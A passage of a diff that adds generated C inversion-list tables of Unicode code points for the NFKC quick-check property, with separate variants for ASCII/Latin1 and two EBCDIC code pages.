+	0x1D3B,
+	0x1D3C,
+	0x1D4E,
+	0x1D4F,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1DC0,
+	0x1E9A,
+	0x1E9C,
+	0x1F71,
+	0x1F72,
+	0x1F73,
+	0x1F74,
+	0x1F75,
+	0x1F76,
+	0x1F77,
+	0x1F78,
+	0x1F79,
+	0x1F7A,
+	0x1F7B,
+	0x1F7C,
+	0x1F7D,
+	0x1F7E,
+	0x1FBB,
+	0x1FBC,
+	0x1FBD,
+	0x1FC2,
+	0x1FC9,
+	0x1FCA,
+	0x1FCB,
+	0x1FCC,
+	0x1FCD,
+	0x1FD0,
+	0x1FD3,
+	0x1FD4,
+	0x1FDB,
+	0x1FDC,
+	0x1FDD,
+	0x1FE0,
+	0x1FE3,
+	0x1FE4,
+	0x1FEB,
+	0x1FEC,
+	0x1FED,
+	0x1FF0,
+	0x1FF9,
+	0x1FFA,
+	0x1FFB,
+	0x1FFC,
+	0x1FFD,
+	0x1FFF,
+	0x2000,
+	0x200B,
+	0x2011,
+	0x2012,
+	0x2017,
+	0x2018,
+	0x2024,
+	0x2027,
+	0x202F,
+	0x2030,
+	0x2033,
+	0x2035,
+	0x2036,
+	0x2038,
+	0x203C,
+	0x203D,
+	0x203E,
+	0x203F,
+	0x2047,
+	0x204A,
+	0x2057,
+	0x2058,
+	0x205F,
+	0x2060,
+	0x2070,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A8,
+	0x20A9,
+	0x2100,
+	0x2104,
+	0x2105,
+	0x2108,
+	0x2109,
+	0x2114,
+	0x2115,
+	0x2117,
+	0x2119,
+	0x211E,
+	0x2120,
+	0x2123,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2132,
+	0x2133,
+	0x213A,
+	0x213B,
+	0x2141,
+	0x2145,
+	0x214A,
+	0x2150,
+	0x2180,
+	0x2189,
+	0x218A,
+	0x222C,
+	0x222E,
+	0x222F,
+	0x2231,
+	0x2329,
+	0x232B,
+	0x2460,
+	0x24EB,
+	0x2A0C,
+	0x2A0D,
+	0x2A74,
+	0x2A77,
+	0x2ADC,
+	0x2ADD,
+	0x2C7C,
+	0x2C7E,
+	0x2D6F,
+	0x2D70,
+	0x2E9F,
+	0x2EA0,
+	0x2EF3,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x3000,
+	0x3001,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303B,
+	0x309B,
+	0x309D,
+	0x309F,
+	0x30A0,
+	0x30FF,
+	0x3100,
+	0x3131,
+	0x318F,
+	0x3192,
+	0x31A0,
+	0x3200,
+	0x321F,
+	0x3220,
+	0x3248,
+	0x3250,
+	0x327F,
+	0x3280,
+	0x32FF,
+	0x3300,
+	0x3400,
+	0xA69C,
+	0xA69E,
+	0xA770,
+	0xA771,
+	0xA7F8,
+	0xA7FA,
+	0xAB5C,
+	0xAB60,
+	0xF900,
+	0xFA0E,
+	0xFA10,
+	0xFA11,
+	0xFA12,
+	0xFA13,
+	0xFA15,
+	0xFA1F,
+	0xFA20,
+	0xFA21,
+	0xFA22,
+	0xFA23,
+	0xFA25,
+	0xFA27,
+	0xFA2A,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFD,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE45,
+	0xFE47,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE73,
+	0xFE74,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0x1D15E,
+	0x1D165,
+	0x1D1BB,
+	0x1D1C1,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F150,
+	0x1F16A,
+	0x1F16C,
+	0x1F190,
+	0x1F191,
+	0x1F200,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NFKCQC__N_invlist[] = { /* for EBCDIC 1047 */
+	505,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x42,
+	0x9A,
+	0x9C,
+	0x9D,
+	0x9E,
+	0xA0,
+	0xA1,
+	0xB7,
+	0xBA,
+	0xBB,
+	0xBD,
+	0xBE,
+	0xBF,
+	0xDA,
+	0xDB,
+	0xEA,
+	0xEB,
+	0xFA,
+	0xFB,
+	0x132,
+	0x134,
+	0x13F,
+	0x141,
+	0x149,
+	0x14A,
+	0x17F,
+	0x180,
+	0x1C4,
+	0x1CD,
+	0x1F1,
+	0x1F4,
+	0x2B0,
+	0x2B9,
+	0x2D8,
+	0x2DE,
+	0x2E0,
+	0x2E5,
+	0x340,
+	0x342,
+	0x343,
+	0x345,
+	0x374,
+	0x375,
+	0x37A,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x384,
+	0x386,
+	0x387,
+	0x388,
+	0x3D0,
+	0x3D7,
+	0x3F0,
+	0x3F3,
+	0x3F4,
+	0x3F6,
+	0x3F9,
+	0x3FA,
+	0x587,
+	0x588,
+	0x675,
+	0x679,
+	0x958,
+	0x960,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E0,
+	0xA33,
+	0xA34,
+	0xA36,
+	0xA37,
+	0xA59,
+	0xA5C,
+	0xA5E,
+	0xA5F,
+	0xB5C,
+	0xB5E,
+	0xE33,
+	0xE34,
+	0xEB3,
+	0xEB4,
+	0xEDC,
+	0xEDE,
+	0xF0C,
+	0xF0D,
+	0xF43,
+	0xF44,
+	0xF4D,
+	0xF4E,
+	0xF52,
+	0xF53,
+	0xF57,
+	0xF58,
+	0xF5C,
+	0xF5D,
+	0xF69,
+	0xF6A,
+	0xF73,
+	0xF74,
+	0xF75,
+	0xF7A,
+	0xF81,
+	0xF82,
+	0xF93,
+	0xF94,
+	0xF9D,
+	0xF9E,
+	0xFA2,
+	0xFA3,
+	0xFA7,
+	0xFA8,
+	0xFAC,
+	0xFAD,
+	0xFB9,
+	0xFBA,
+	0x10FC,
+	0x10FD,
+	0x1D2C,
+	0x1D2F,
+	0x1D30,
+	0x1D3B,
+	0x1D3C,
+	0x1D4E,
+	0x1D4F,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1DC0,
+	0x1E9A,
+	0x1E9C,
+	0x1F71,
+	0x1F72,
+	0x1F73,
+	0x1F74,
+	0x1F75,
+	0x1F76,
+	0x1F77,
+	0x1F78,
+	0x1F79,
+	0x1F7A,
+	0x1F7B,
+	0x1F7C,
+	0x1F7D,
+	0x1F7E,
+	0x1FBB,
+	0x1FBC,
+	0x1FBD,
+	0x1FC2,
+	0x1FC9,
+	0x1FCA,
+	0x1FCB,
+	0x1FCC,
+	0x1FCD,
+	0x1FD0,
+	0x1FD3,
+	0x1FD4,
+	0x1FDB,
+	0x1FDC,
+	0x1FDD,
+	0x1FE0,
+	0x1FE3,
+	0x1FE4,
+	0x1FEB,
+	0x1FEC,
+	0x1FED,
+	0x1FF0,
+	0x1FF9,
+	0x1FFA,
+	0x1FFB,
+	0x1FFC,
+	0x1FFD,
+	0x1FFF,
+	0x2000,
+	0x200B,
+	0x2011,
+	0x2012,
+	0x2017,
+	0x2018,
+	0x2024,
+	0x2027,
+	0x202F,
+	0x2030,
+	0x2033,
+	0x2035,
+	0x2036,
+	0x2038,
+	0x203C,
+	0x203D,
+	0x203E,
+	0x203F,
+	0x2047,
+	0x204A,
+	0x2057,
+	0x2058,
+	0x205F,
+	0x2060,
+	0x2070,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A8,
+	0x20A9,
+	0x2100,
+	0x2104,
+	0x2105,
+	0x2108,
+	0x2109,
+	0x2114,
+	0x2115,
+	0x2117,
+	0x2119,
+	0x211E,
+	0x2120,
+	0x2123,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2132,
+	0x2133,
+	0x213A,
+	0x213B,
+	0x2141,
+	0x2145,
+	0x214A,
+	0x2150,
+	0x2180,
+	0x2189,
+	0x218A,
+	0x222C,
+	0x222E,
+	0x222F,
+	0x2231,
+	0x2329,
+	0x232B,
+	0x2460,
+	0x24EB,
+	0x2A0C,
+	0x2A0D,
+	0x2A74,
+	0x2A77,
+	0x2ADC,
+	0x2ADD,
+	0x2C7C,
+	0x2C7E,
+	0x2D6F,
+	0x2D70,
+	0x2E9F,
+	0x2EA0,
+	0x2EF3,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x3000,
+	0x3001,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303B,
+	0x309B,
+	0x309D,
+	0x309F,
+	0x30A0,
+	0x30FF,
+	0x3100,
+	0x3131,
+	0x318F,
+	0x3192,
+	0x31A0,
+	0x3200,
+	0x321F,
+	0x3220,
+	0x3248,
+	0x3250,
+	0x327F,
+	0x3280,
+	0x32FF,
+	0x3300,
+	0x3400,
+	0xA69C,
+	0xA69E,
+	0xA770,
+	0xA771,
+	0xA7F8,
+	0xA7FA,
+	0xAB5C,
+	0xAB60,
+	0xF900,
+	0xFA0E,
+	0xFA10,
+	0xFA11,
+	0xFA12,
+	0xFA13,
+	0xFA15,
+	0xFA1F,
+	0xFA20,
+	0xFA21,
+	0xFA22,
+	0xFA23,
+	0xFA25,
+	0xFA27,
+	0xFA2A,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFD,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE45,
+	0xFE47,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE73,
+	0xFE74,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0x1D15E,
+	0x1D165,
+	0x1D1BB,
+	0x1D1C1,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F150,
+	0x1F16A,
+	0x1F16C,
+	0x1F190,
+	0x1F191,
+	0x1F200,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NFKCQC__N_invlist[] = { /* for EBCDIC 037 */
+	503,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x42,
+	0x9A,
+	0x9C,
+	0x9D,
+	0x9E,
+	0xA0,
+	0xA1,
+	0xB7,
+	0xBA,
+	0xBC,
+	0xBF,
+	0xDA,
+	0xDB,
+	0xEA,
+	0xEB,
+	0xFA,
+	0xFB,
+	0x132,
+	0x134,
+	0x13F,
+	0x141,
+	0x149,
+	0x14A,
+	0x17F,
+	0x180,
+	0x1C4,
+	0x1CD,
+	0x1F1,
+	0x1F4,
+	0x2B0,
+	0x2B9,
+	0x2D8,
+	0x2DE,
+	0x2E0,
+	0x2E5,
+	0x340,
+	0x342,
+	0x343,
+	0x345,
+	0x374,
+	0x375,
+	0x37A,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x384,
+	0x386,
+	0x387,
+	0x388,
+	0x3D0,
+	0x3D7,
+	0x3F0,
+	0x3F3,
+	0x3F4,
+	0x3F6,
+	0x3F9,
+	0x3FA,
+	0x587,
+	0x588,
+	0x675,
+	0x679,
+	0x958,
+	0x960,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E0,
+	0xA33,
+	0xA34,
+	0xA36,
+	0xA37,
+	0xA59,
+	0xA5C,
+	0xA5E,
+	0xA5F,
+	0xB5C,
+	0xB5E,
+	0xE33,
+	0xE34,
+	0xEB3,
+	0xEB4,
+	0xEDC,
+	0xEDE,
+	0xF0C,
+	0xF0D,
+	0xF43,
+	0xF44,
+	0xF4D,
+	0xF4E,
+	0xF52,
+	0xF53,
+	0xF57,
+	0xF58,
+	0xF5C,
+	0xF5D,
+	0xF69,
+	0xF6A,
+	0xF73,
+	0xF74,
+	0xF75,
+	0xF7A,
+	0xF81,
+	0xF82,
+	0xF93,
+	0xF94,
+	0xF9D,
+	0xF9E,
+	0xFA2,
+	0xFA3,
+	0xFA7,
+	0xFA8,
+	0xFAC,
+	0xFAD,
+	0xFB9,
+	0xFBA,
+	0x10FC,
+	0x10FD,
+	0x1D2C,
+	0x1D2F,
+	0x1D30,
+	0x1D3B,
+	0x1D3C,
+	0x1D4E,
+	0x1D4F,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1DC0,
+	0x1E9A,
+	0x1E9C,
+	0x1F71,
+	0x1F72,
+	0x1F73,
+	0x1F74,
+	0x1F75,
+	0x1F76,
+	0x1F77,
+	0x1F78,
+	0x1F79,
+	0x1F7A,
+	0x1F7B,
+	0x1F7C,
+	0x1F7D,
+	0x1F7E,
+	0x1FBB,
+	0x1FBC,
+	0x1FBD,
+	0x1FC2,
+	0x1FC9,
+	0x1FCA,
+	0x1FCB,
+	0x1FCC,
+	0x1FCD,
+	0x1FD0,
+	0x1FD3,
+	0x1FD4,
+	0x1FDB,
+	0x1FDC,
+	0x1FDD,
+	0x1FE0,
+	0x1FE3,
+	0x1FE4,
+	0x1FEB,
+	0x1FEC,
+	0x1FED,
+	0x1FF0,
+	0x1FF9,
+	0x1FFA,
+	0x1FFB,
+	0x1FFC,
+	0x1FFD,
+	0x1FFF,
+	0x2000,
+	0x200B,
+	0x2011,
+	0x2012,
+	0x2017,
+	0x2018,
+	0x2024,
+	0x2027,
+	0x202F,
+	0x2030,
+	0x2033,
+	0x2035,
+	0x2036,
+	0x2038,
+	0x203C,
+	0x203D,
+	0x203E,
+	0x203F,
+	0x2047,
+	0x204A,
+	0x2057,
+	0x2058,
+	0x205F,
+	0x2060,
+	0x2070,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A8,
+	0x20A9,
+	0x2100,
+	0x2104,
+	0x2105,
+	0x2108,
+	0x2109,
+	0x2114,
+	0x2115,
+	0x2117,
+	0x2119,
+	0x211E,
+	0x2120,
+	0x2123,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2132,
+	0x2133,
+	0x213A,
+	0x213B,
+	0x2141,
+	0x2145,
+	0x214A,
+	0x2150,
+	0x2180,
+	0x2189,
+	0x218A,
+	0x222C,
+	0x222E,
+	0x222F,
+	0x2231,
+	0x2329,
+	0x232B,
+	0x2460,
+	0x24EB,
+	0x2A0C,
+	0x2A0D,
+	0x2A74,
+	0x2A77,
+	0x2ADC,
+	0x2ADD,
+	0x2C7C,
+	0x2C7E,
+	0x2D6F,
+	0x2D70,
+	0x2E9F,
+	0x2EA0,
+	0x2EF3,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x3000,
+	0x3001,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303B,
+	0x309B,
+	0x309D,
+	0x309F,
+	0x30A0,
+	0x30FF,
+	0x3100,
+	0x3131,
+	0x318F,
+	0x3192,
+	0x31A0,
+	0x3200,
+	0x321F,
+	0x3220,
+	0x3248,
+	0x3250,
+	0x327F,
+	0x3280,
+	0x32FF,
+	0x3300,
+	0x3400,
+	0xA69C,
+	0xA69E,
+	0xA770,
+	0xA771,
+	0xA7F8,
+	0xA7FA,
+	0xAB5C,
+	0xAB60,
+	0xF900,
+	0xFA0E,
+	0xFA10,
+	0xFA11,
+	0xFA12,
+	0xFA13,
+	0xFA15,
+	0xFA1F,
+	0xFA20,
+	0xFA21,
+	0xFA22,
+	0xFA23,
+	0xFA25,
+	0xFA27,
+	0xFA2A,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFD,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE45,
+	0xFE47,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE73,
+	0xFE74,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0x1D15E,
+	0x1D165,
+	0x1D1BB,
+	0x1D1C1,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F150,
+	0x1F16A,
+	0x1F16C,
+	0x1F190,
+	0x1F191,
+	0x1F200,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_NFKCQC__Y_invlist[] = { /* for ASCII/Latin1 */
+	573,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA0,
+	0xA1,
+	0xA8,
+	0xA9,
+	0xAA,
+	0xAB,
+	0xAF,
+	0xB0,
+	0xB2,
+	0xB6,
+	0xB8,
+	0xBB,
+	0xBC,
+	0xBF,
+	0x132,
+	0x134,
+	0x13F,
+	0x141,
+	0x149,
+	0x14A,
+	0x17F,
+	0x180,
+	0x1C4,
+	0x1CD,
+	0x1F1,
+	0x1F4,
+	0x2B0,
+	0x2B9,
+	0x2D8,
+	0x2DE,
+	0x2E0,
+	0x2E5,
+	0x300,
+	0x305,
+	0x306,
+	0x30D,
+	0x30F,
+	0x310,
+	0x311,
+	0x312,
+	0x313,
+	0x315,
+	0x31B,
+	0x31C,
+	0x323,
+	0x329,
+	0x32D,
+	0x32F,
+	0x330,
+	0x332,
+	0x338,
+	0x339,
+	0x340,
+	0x346,
+	0x374,
+	0x375,
+	0x37A,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x384,
+	0x386,
+	0x387,
+	0x388,
+	0x3D0,
+	0x3D7,
+	0x3F0,
+	0x3F3,
+	0x3F4,
+	0x3F6,
+	0x3F9,
+	0x3FA,
+	0x587,
+	0x588,
+	0x653,
+	0x656,
+	0x675,
+	0x679,
+	0x93C,
+	0x93D,
+	0x958,
+	0x960,
+	0x9BE,
+	0x9BF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E0,
+	0xA33,
+	0xA34,
+	0xA36,
+	0xA37,
+	0xA59,
+	0xA5C,
+	0xA5E,
+	0xA5F,
+	0xB3E,
+	0xB3F,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xBBE,
+	0xBBF,
+	0xBD7,
+	0xBD8,
+	0xC56,
+	0xC57,
+	0xCC2,
+	0xCC3,
+	0xCD5,
+	0xCD7,
+	0xD3E,
+	0xD3F,
+	0xD57,
+	0xD58,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD0,
+	0xDDF,
+	0xDE0,
+	0xE33,
+	0xE34,
+	0xEB3,
+	0xEB4,
+	0xEDC,
+	0xEDE,
+	0xF0C,
+	0xF0D,
+	0xF43,
+	0xF44,
+	0xF4D,
+	0xF4E,
+	0xF52,
+	0xF53,
+	0xF57,
+	0xF58,
+	0xF5C,
+	0xF5D,
+	0xF69,
+	0xF6A,
+	0xF73,
+	0xF74,
+	0xF75,
+	0xF7A,
+	0xF81,
+	0xF82,
+	0xF93,
+	0xF94,
+	0xF9D,
+	0xF9E,
+	0xFA2,
+	0xFA3,
+	0xFA7,
+	0xFA8,
+	0xFAC,
+	0xFAD,
+	0xFB9,
+	0xFBA,
+	0x102E,
+	0x102F,
+	0x10FC,
+	0x10FD,
+	0x1161,
+	0x1176,
+	0x11A8,
+	0x11C3,
+	0x1B35,
+	0x1B36,
+	0x1D2C,
+	0x1D2F,
+	0x1D30,
+	0x1D3B,
+	0x1D3C,
+	0x1D4E,
+	0x1D4F,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
